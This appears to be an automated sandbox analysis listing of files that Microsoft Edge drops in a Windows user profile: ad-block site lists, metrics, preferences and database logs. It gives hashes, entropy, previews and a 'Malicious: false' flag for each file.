Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\91a00b26-31cd-4db8-989e-c241a681d7ad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673CE180-1AB4.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45060025236657
Encrypted:	false
SSDEEP:	3072:qIpV60tE10Whxr2KxN4PkcKHymo8xAxrGgwqouN4FAz2bRDg1HFM:5V6TOKxN6kcKVr4GBqojFAz2bRDaH
MD5:	FD35CB3610396F503189C222D5EB77FC
SHA1:	F92ADB5B034B9887EBD90CF75ED79A96BC35B66E
SHA-256:	BDCD2B9824A3F39D51A4F9602C9D205D569B5628FEB490679D732D0ACD88F525
SHA-512:	25383053E62C099C4E20EEE3D78EE6C34F27939835D84E759AEFB20ACF9ABFE39502826B7A4209E2C26B5E0B5C208D24CCE37BC161A304828110D7F16490C08C
Malicious:	false
Preview:	...@..@...@.....C.].....@...............P...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".glcrot20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K...G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........9...... .2.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673CE180-87C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04728057073618735
Encrypted:	false
SSDEEP:	192:woB0m5tm1nOAU5YCkJPi6VBKP7+HfgHXlnIoMEYTwghBMNsb+GRQcHgPq5pn8y0d:1B0UtmQkN4IphqPuL75p08T2RGOD
MD5:	12FF06ABE01FA3C35B18CB4E63559CD5
SHA1:	B0441413D4B60A59A4D01FC799BDBB809A4CC44B
SHA-256:	AC8788367D557FED66D1B2CD4CAAE20F2A2985BDAF36D0F09CD5F6558B04B875
SHA-512:	E60E297CD6DC0CB625388C66D220A734A3D463278E28FDE5E3B9D6BC606072408842F8F79A71D5F3443248F9281807507B1A20DD1D87B0848008B71F3DE5976E
Malicious:	false
Preview:	...@..@...@.....C.].....@...............xj..0Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".glcrot20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.......,...... .`2...........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2548c012-dfc7-4264-a642-54a31f8e0db5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\43108e3c-de8a-4319-ae06-16f05d222f74.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.566290263395355
Encrypted:	false
SSDEEP:	768:DHjQND7pLGLP32WPJ5fKp8F1+UoAYDCx9Tuqh0VfUC9xbog/OVjJcOxrDrwNuIpa:DHjQN1cP32WPJ5fKpu1jaWJcYr4NuJtn
MD5:	B1BB650D0BD873F938DD9D095BCE0E6B
SHA1:	5A6C653BE2D8D949319625A391465B784AA6627A
SHA-256:	4450C02C46EC0FD5B179108DF3BBE52419088274FA3BE3BAE4C47E393962D102
SHA-512:	CFF84D09711DFAEAD6846FB8A95A3BC78E053545D97171C40195724ED78D34F49C8E812B31DC298934E2F9FC74C221511BBDC82605F8EC9D44FF1E6C1F76A1B7
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376516736928182","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376516736928182","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5da9140d-83ba-498f-a376-173b3879eb26.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.56154364141812
Encrypted:	false
SSDEEP:	768:D6JQnD7pLGLPQ2WPJ5fvp8F1+UoAYDCx9Tuqh0VfUC9xbog/OVxJlOxADrwVAJ7U:D6JQn1cPQ2WPJ5fvpu1jaMJlYA4VAJ7U
MD5:	07612B87F30D8CF8926A1C3B2FEB7F99
SHA1:	27790A3F089BC558BD182C6B4E5D69BE35654A71
SHA-256:	D1B60F7F258F9B3CE3F3B0A8615293DA72CA3DEA4E6ED3F620DCA2FBBE119003
SHA-512:	4DC1B932FD0C19B82755DCC5FEEB462C1182A048778D1D7365DC460A28C04E871C31D843090F43AECC8F4E6F8E45CA14B34CDD31ECD3EF1826EF57DC14B1B7A9
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376516736928182","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376516736928182","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6b749c85-9dad-411d-be3b-e1647f11c687.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17274), with no line terminators
Category:	dropped
Size (bytes):	17284
Entropy (8bit):	5.49752316500021
Encrypted:	false
SSDEEP:	192:st3J99QTryDigabatSuyp5sE5DyaNPIWrk0YzZZLKjrJre6o2m8MbV+FbHQwq35s:st3PGKSu45sE5DtJIWE+fJrulbGbQwT
MD5:	4FC9448BD2B6198EF5D1F53981AE3FF4
SHA1:	E22897E5505C8C7F67717CFE86243F3042B63EA5
SHA-256:	10FD750DF5E30069FDAE5E829A09D3AFF42DB97B560220163F6AB63C4E0BC639
SHA-512:	6919B3A84B4F392BE410078BBE77834998C778D458E1B345215E873D77982F282768E27D3333E60243A71D1F38C6BDA9933F2BCF0936E969276BDC1BD00126F2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376516737492575","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7043f41d-2df5-4704-b835-69018e282618.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\921fb13c-5fb9-40c3-8df8-5b47e64857c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17439), with no line terminators
Category:	dropped
Size (bytes):	17449
Entropy (8bit):	5.494206437296357
Encrypted:	false
SSDEEP:	192:st3J99QTryDigabatSuyp5sE5DyaNPIWrk0YzZZLKjrJre6o2m8MbV+FbHQwqFCs:st3PGKSu45sE5DtJIWE+fJrulbGbQwGX
MD5:	6301AEA3A858D1F73DAA2C2628B7C5C1
SHA1:	3B29FAC4182F720AAB6209CF2CDADCE548CF8A04
SHA-256:	8B6CCE248817086FD46737BF0485FBBF48A2C6CECF8A9C5E825D207C3C33A27F
SHA-512:	284E18800A80B8FE5F913E736899E6CC64C24CF682FFFF6EAC37F97D89574E31684F6B4D705C976E22B0D6167EC2E373FD83B23E207067586688EA88AAB89194
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376516737492575","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.234729925545825
Encrypted:	false
SSDEEP:	6:HUieq1cNwi23oH+Tcwtp3hBtB2KLlVUz+q2PcNwi23oH+Tcwtp3hBWsIFUv:LZYebp3dFLLvLZYebp3eFUv
MD5:	C65E3461585A2CD2AC17BA1C34BBEABB
SHA1:	9BC202B7B8802AAC8F41FD98E8B94C764AEA0CEE
SHA-256:	7F3753E0DF27E73B16712F60CF31DB971018F6196BD778CCFB57BA65FEDF71DB
SHA-512:	3EAB52C9D04B78ADB906BC0D80D26F3BF72A21B0A98184C5979FCEA43E8DD1B029517D8D3A4F76BF40AEF29F23385B26421EAF2901BC24253B764D71E45BBE30
Malicious:	false
Preview:	2024/11/19-14:05:43.218 1aa8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/19-14:05:43.482 1aa8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.0406341901661005
Encrypted:	false
SSDEEP:	24576:kyf76gGkISshcFdmcOAoPENUpifYP+MbI2T:kyfgAmmE
MD5:	3B4073FC1082CC9235A6C624F7191164
SHA1:	49E51A4E3A6FE53D1FDF7E2A528E2C4E91C7AA95
SHA-256:	927A06C7CB4AE473FF1E2AA8997BFC29ED90CB4341BB265E763B71AF80FF1CFB
SHA-512:	632E4554D0DD89EA23B36ACABCB94733596EC266705410B389FB7C4D1143282DE6FC828B43E31A43C712BD7183E0F07A0B126158915DBB0325A00BFD587A6A16
Malicious:	false
Preview:	...m.................DB_VERSION.1.....................QUERY_TIMESTAMP:arbitration_priority_list4...13340965219355520.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.14684707441274
Encrypted:	false
SSDEEP:	6:HUsVM+q2PcNwi23oH+Tcwt9Eh1tIFUt8YUS6XZmw+YUT1MVkwOcNwi23oH+TcwtY:hVM+vLZYeb9Eh16FUt8F/+h1MV54ZYe8
MD5:	3B2C31BF5FFC49295AAE21119F7531D2
SHA1:	FEECAC30BEBF6F0EF2D65E1FF793D21A31C4E32D
